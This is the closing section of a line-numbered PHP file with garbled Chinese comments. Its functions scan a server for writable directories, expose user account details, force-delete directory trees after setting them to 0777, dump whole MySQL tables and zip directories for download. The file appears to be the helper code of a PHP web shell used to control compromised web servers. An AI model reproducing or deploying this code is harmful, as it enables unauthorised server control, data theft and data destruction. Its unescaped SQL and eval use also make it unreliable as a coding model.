1491 }
1492 return $array;
1493}
1494
1495// 清除HTML代ç
1496function html_clean($content) {
1497 $content = htmlspecialchars($content);
1498 $content = str_replace("\n", "<br />", $content);
1499 $content = str_replace(" ", " ", $content);
1500 $content = str_replace("\t", " ", $content);
1501 return $content;
1502}
1503
1504// èŽ·å–æƒé™
1505function getChmod($filepath){
1506 return substr(base_convert(@fileperms($filepath),10,8),-4);
1507}
1508
1509function getPerms($filepath) {
1510 $mode = @fileperms($filepath);
1511 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1512 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1513 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1514 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1515 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1516 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1517 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1518 else {$type = '?';}
1519
1520 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1521 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1522 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1523 $group['read'] = ($mode & 00040) ? 'r' : '-';
1524 $group['write'] = ($mode & 00020) ? 'w' : '-';
1525 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1526 $world['read'] = ($mode & 00004) ? 'r' : '-';
1527 $world['write'] = ($mode & 00002) ? 'w' : '-';
1528 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1529
1530 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1531 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1532 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1533
1534 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1535}
1536
1537function getUser($filepath) {
1538 if (function_exists('posix_getpwuid')) {
1539 $array = @posix_getpwuid(@fileowner($filepath));
1540 if ($array && is_array($array)) {
1541 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1542 }
1543 }
1544 return '';
1545}
1546
1547// åˆ é™¤ç›®å½•
1548function deltree($deldir) {
1549 $mydir=@dir($deldir);
1550 while($file=$mydir->read()) {
1551 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1552 @chmod($deldir.'/'.$file,0777);
1553 deltree($deldir.'/'.$file);
1554 }
1555 if (is_file($deldir.'/'.$file)) {
1556 @chmod($deldir.'/'.$file,0777);
1557 @unlink($deldir.'/'.$file);
1558 }
1559 }
1560 $mydir->close();
1561 @chmod($deldir,0777);
1562 return @rmdir($deldir) ? 1 : 0;
1563}
1564
1565// è¡¨æ ¼è¡Œé—´çš„èƒŒæ™¯è‰²æ›¿æ¢
1566function bg() {
1567 global $bgc;
1568 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1569}
1570
1571// 获å–当å‰çš„æ–‡ä»¶ç³»ç»Ÿè·¯å¾„
1572function getPath($scriptpath, $nowpath) {
1573 if ($nowpath == '.') {
1574 $nowpath = $scriptpath;
1575 }
1576 $nowpath = str_replace('\\', '/', $nowpath);
1577 $nowpath = str_replace('//', '/', $nowpath);
1578 if (substr($nowpath, -1) != '/') {
1579 $nowpath = $nowpath.'/';
1580 }
1581 return $nowpath;
1582}
1583
1584// 获å–当å‰ç›®å½•的上级目录
1585function getUpPath($nowpath) {
1586 $pathdb = explode('/', $nowpath);
1587 $num = count($pathdb);
1588 if ($num > 2) {
1589 unset($pathdb[$num-1],$pathdb[$num-2]);
1590 }
1591 $uppath = implode('/', $pathdb).'/';
1592 $uppath = str_replace('//', '/', $uppath);
1593 return $uppath;
1594}
1595
1596// 检查PHPé…ç½®å‚æ•°
1597function getcfg($varname) {
1598 $result = get_cfg_var($varname);
1599 if ($result == 0) {
1600 return 'No';
1601 } elseif ($result == 1) {
1602 return 'Yes';
1603 } else {
1604 return $result;
1605 }
1606}
1607
1608// 检查函数情况
1609function getfun($funName) {
1610 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1611}
1612
1613function GetList($dir){
1614 global $dirdata,$j,$nowpath;
1615 !$j && $j=1;
1616 if ($dh = opendir($dir)) {
1617 while ($file = readdir($dh)) {
1618 $f=str_replace('//','/',$dir.'/'.$file);
1619 if($file!='.' && $file!='..' && is_dir($f)){
1620 if (is_writable($f)) {
1621 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1622 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1623 $dirdata[$j]['dirchmod']=getChmod($f);
1624 $dirdata[$j]['dirperm']=getPerms($f);
1625 $dirdata[$j]['dirlink']=ue($dir);
1626 $dirdata[$j]['server_link']=$f;
1627 $dirdata[$j]['client_link']=ue($f);
1628 $j++;
1629 }
1630 GetList($f);
1631 }
1632 }
1633 closedir($dh);
1634 clearstatcache();
1635 return $dirdata;
1636 } else {
1637 return array();
1638 }
1639}
1640
1641function qy($sql) {
1642 //echo $sql.'<br>';
1643 $res = $error = '';
1644 if(!$res = @mysql_query($sql)) {
1645 return 0;
1646 } else if(is_resource($res)) {
1647 return 1;
1648 } else {
1649 return 2;
1650 }
1651 return 0;
1652}
1653
1654function q($sql) {
1655 return @mysql_query($sql);
1656}
1657
1658function fr($qy){
1659 mysql_free_result($qy);
1660}
1661
1662function sizecount($size) {
1663 if($size > 1073741824) {
1664 $size = round($size / 1073741824 * 100) / 100 . ' G';
1665 } elseif($size > 1048576) {
1666 $size = round($size / 1048576 * 100) / 100 . ' M';
1667 } elseif($size > 1024) {
1668 $size = round($size / 1024 * 100) / 100 . ' K';
1669 } else {
1670 $size = $size . ' B';
1671 }
1672 return $size;
1673}
1674
1675// 压缩打包类
1676class PHPZip{
1677 var $out='';
1678 function PHPZip($dir) {
1679 if (@function_exists('gzcompress')) {
1680 $curdir = getcwd();
1681 if (is_array($dir)) $filelist = $dir;
1682 else{
1683 $filelist=$this -> GetFileList($dir);//文件列表
1684 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1685 }
1686 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1687 else chdir($curdir);
1688 if (count($filelist)>0){
1689 foreach($filelist as $filename){
1690 if (is_file($filename)){
1691 $fd = fopen ($filename, 'r');
1692 $content = @fread ($fd, filesize($filename));
1693 fclose ($fd);
1694 if (is_array($dir)) $filename = basename($filename);
1695 $this -> addFile($content, $filename);
1696 }
1697 }
1698 $this->out = $this -> file();
1699 chdir($curdir);
1700 }
1701 return 1;
1702 }
1703 else return 0;
1704 }
1705
1706 // 获得指定目录文件列表
1707 function GetFileList($dir){
1708 static $a;
1709 if (is_dir($dir)) {
1710 if ($dh = opendir($dir)) {
1711 while ($file = readdir($dh)) {
1712 if($file!='.' && $file!='..'){
1713 $f=$dir .'/'. $file;
1714 if(is_dir($f)) $this->GetFileList($f);
1715 $a[]=$f;
1716 }
1717 }
1718 closedir($dh);
1719 }
1720 }
1721 return $a;
1722 }
1723
1724 var $datasec = array();
1725 var $ctrl_dir = array();
1726 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1727 var $old_offset = 0;
1728
1729 function unix2DosTime($unixtime = 0) {
1730 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1731 if ($timearray['year'] < 1980) {
1732 $timearray['year'] = 1980;
1733 $timearray['mon'] = 1;
1734 $timearray['mday'] = 1;
1735 $timearray['hours'] = 0;
1736 $timearray['minutes'] = 0;
1737 $timearray['seconds'] = 0;
1738 } // end if
1739 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1740 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1741 }
1742
1743 function addFile($data, $name, $time = 0) {
1744 $name = str_replace('\\', '/', $name);
1745
1746 $dtime = dechex($this->unix2DosTime($time));
1747 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1748 . '\x' . $dtime[4] . $dtime[5]
1749 . '\x' . $dtime[2] . $dtime[3]
1750 . '\x' . $dtime[0] . $dtime[1];
1751 eval('$hexdtime = "' . $hexdtime . '";');
1752 $fr = "\x50\x4b\x03\x04";
1753 $fr .= "\x14\x00";
1754 $fr .= "\x00\x00";
1755 $fr .= "\x08\x00";
1756 $fr .= $hexdtime;
1757
1758 $unc_len = strlen($data);
1759 $crc = crc32($data);
1760 $zdata = gzcompress($data);
1761 $c_len = strlen($zdata);
1762 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1763 $fr .= pack('V', $crc);
1764 $fr .= pack('V', $c_len);
1765 $fr .= pack('V', $unc_len);
1766 $fr .= pack('v', strlen($name));
1767 $fr .= pack('v', 0);
1768 $fr .= $name;
1769 $fr .= $zdata;
1770 $fr .= pack('V', $crc);
1771 $fr .= pack('V', $c_len);
1772 $fr .= pack('V', $unc_len);
1773
1774 $this -> datasec[] = $fr;
1775 $new_offset = strlen(implode('', $this->datasec));
1776
1777 $cdrec = "\x50\x4b\x01\x02";
1778 $cdrec .= "\x00\x00";
1779 $cdrec .= "\x14\x00";
1780 $cdrec .= "\x00\x00";
1781 $cdrec .= "\x08\x00";
1782 $cdrec .= $hexdtime;
1783 $cdrec .= pack('V', $crc);
1784 $cdrec .= pack('V', $c_len);
1785 $cdrec .= pack('V', $unc_len);
1786 $cdrec .= pack('v', strlen($name) );
1787 $cdrec .= pack('v', 0 );
1788 $cdrec .= pack('v', 0 );
1789 $cdrec .= pack('v', 0 );
1790 $cdrec .= pack('v', 0 );
1791 $cdrec .= pack('V', 32 );
1792 $cdrec .= pack('V', $this -> old_offset );
1793 $this -> old_offset = $new_offset;
1794 $cdrec .= $name;
1795
1796 $this -> ctrl_dir[] = $cdrec;
1797 }
1798
1799 function file() {
1800 $data = implode('', $this -> datasec);
1801 $ctrldir = implode('', $this -> ctrl_dir);
1802 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1803 }
1804}
1805
1806// 备份数æ®åº“
1807function sqldumptable($table, $fp=0) {
1808 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1809 $tabledump .= "CREATE TABLE $table (\n";
1810
1811 $firstfield=1;
1812
1813 $fields = q("SHOW FIELDS FROM $table");
1814 while ($field = mysql_fetch_array($fields)) {
1815 if (!$firstfield) {
1816 $tabledump .= ",\n";
1817 } else {
1818 $firstfield=0;
1819 }
1820 $tabledump .= " $field[Field] $field[Type]";
1821 if (!empty($field["Default"])) {
1822 $tabledump .= " DEFAULT '$field[Default]'";
1823 }
1824 if ($field['Null'] != "YES") {
1825 $tabledump .= " NOT NULL";
1826 }
1827 if ($field['Extra'] != "") {
1828 $tabledump .= " $field[Extra]";
1829 }
1830 }
1831 fr($fields);
1832
1833 $keys = q("SHOW KEYS FROM $table");
1834 while ($key = mysql_fetch_array($keys)) {
1835 $kname=$key['Key_name'];
1836 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1837 $kname="UNIQUE|$kname";
1838 }
1839 if(!is_array($index[$kname])) {
1840 $index[$kname] = array();
1841 }
1842 $index[$kname][] = $key['Column_name'];
1843 }
1844 fr($keys);
1845
1846 while(list($kname, $columns) = @each($index)) {
1847 $tabledump .= ",\n";
1848 $colnames=implode($columns,",");
1849
1850 if ($kname == "PRIMARY") {
1851 $tabledump .= " PRIMARY KEY ($colnames)";
1852 } else {
1853 if (substr($kname,0,6) == "UNIQUE") {
1854 $kname=substr($kname,7);
1855 }
1856 $tabledump .= " KEY $kname ($colnames)";
1857 }
1858 }
1859
1860 $tabledump .= "\n);\n\n";
1861 if ($fp) {
1862 fwrite($fp,$tabledump);
1863 } else {
1864 echo $tabledump;
1865 }
1866
1867 $rows = q("SELECT * FROM $table");
1868 $numfields = mysql_num_fields($rows);
1869 while ($row = mysql_fetch_array($rows)) {
1870 $tabledump = "INSERT INTO $table VALUES(";
1871
1872 $fieldcounter=-1;
1873 $firstfield=1;
1874 while (++$fieldcounter<$numfields) {
1875 if (!$firstfield) {
1876 $tabledump.=", ";
1877 } else {
1878 $firstfield=0;
1879 }
1880
1881 if (!isset($row[$fieldcounter])) {
1882 $tabledump .= "NULL";
1883 } else {
1884 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1885 }
1886 }
1887
1888 $tabledump .= ");\n";
1889
1890 if ($fp) {
1891 fwrite($fp,$tabledump);
1892 } else {
1893 echo $tabledump;
1894 }
1895 }
1896 fr($rows);
1897 if ($fp) {
1898 fwrite($fp,"\n");
1899 } else {
1900 echo "\n";
1901 }
1902}
1903
1904function ue($str){
1905 return urlencode($str);
1906}
1907
1908function p($str){
1909 echo $str."\n";
1910}
1911
1912function tbhead() {
1913 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1914}
1915function tbfoot(){
1916 p('</table>');
1917}
1918
1919function makehide($name,$value=''){
1920 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1921}
1922
1923function makeinput($arg = array()){
1924 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1925 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1926 !$arg['type'] && $arg['type'] = 'text';
1927 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1928 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1929 if ($arg['newline']) {
1930 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1931 } else {
1932 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1933 }
1934}
1935
1936function makeselect($arg = array()){
1937 if ($arg['onchange']) {
1938 $onchange = 'onchange="'.$arg['onchange'].'"';
1939 }
1940 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1941 if ($arg['newline']) p('<p>');
1942 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1943 if (is_array($arg['option'])) {
1944 foreach ($arg['option'] as $key=>$value) {
1945 if ($arg['selected']==$key) {
1946 p("<option value=\"$key\" selected>$value</option>");
1947 } else {
1948 p("<option value=\"$key\">$value</option>");
1949 }
1950 }
1951 }
1952 p("</select>");
1953 if ($arg['newline']) p('</p>');
1954}
1955function formhead($arg = array()) {
1956 !$arg['method'] && $arg['method'] = 'post';
1957 !$arg['action'] && $arg['action'] = $self;
1958 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1959 !$arg['name'] && $arg['name'] = 'form1';
1960 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1961 if ($arg['title']) {
1962 p('<h2>'.$arg['title'].' »</h2>');
1963 }
1964}
1965
1966function maketext($arg = array()){
1967 !$arg['cols'] && $arg['cols'] = 100;
1968 !$arg['rows'] && $arg['rows'] = 25;
1969 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1970 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1971}
1972
1973function formfooter($name = ''){
1974 !$name && $name = 'submit';
1975 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1976 p('</form>');
1977}
1978
1979function formfoot(){
1980 p('</form>');
1981}
1982
1983// 调试函数
1984function pr($a) {
1985 echo '<pre>';
1986 print_r($a);
1987 echo '</pre>';
1988}
1989
1990?>